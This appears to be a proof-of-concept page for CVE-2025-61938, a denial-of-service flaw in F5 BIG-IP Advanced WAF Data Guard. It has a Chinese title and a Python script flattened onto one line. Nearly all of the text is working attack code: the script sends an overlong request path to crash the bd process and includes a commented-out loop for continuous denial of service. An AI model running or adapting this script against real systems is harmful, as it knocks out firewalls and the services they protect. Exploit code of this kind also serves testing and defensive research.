CVE-2025-61938 F5 BIG-IP Advanced WAF Data Guard拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-61938 - F5 BIG-IP Advanced WAF/ASM Data Guard DoS PoC # This PoC demonstrates how to trigger the bd process crash by sending # an HTTP request with a URL longer than 1024 characters that matches # a Data Guard Protection Enforcement policy. import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "https://target-bigip.example.com" TARGET_PORT = sys.argv[2] if len(sys.argv) > 2 else 443 # Construct a URL longer than 1024 characters # The URL path needs to match a configured Data Guard policy pattern long_path = "/" + "A" * 1020 # 1021 characters total # Build the full URL target_url = f"{TARGET_HOST}:{TARGET_PORT}{long_path}" print(f"[*] Targeting: {TARGET_HOST}") print(f"[*] Sending request with URL length: {len(long_path)} characters") # Send the malicious request try: response = requests.get( target_url, verify=False, timeout=10, headers={ "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-61938-PoC)", "Accept": "*/*", "Connection": "close" } ) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.content)}") print("[+] Request sent successfully. Check if bd process has crashed.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[*] Connection failure may indicate bd process crash.") # For continuous DoS attack, uncomment the following loop: # while True: # try: # requests.get(target_url, verify=False, timeout=5) # except: # pass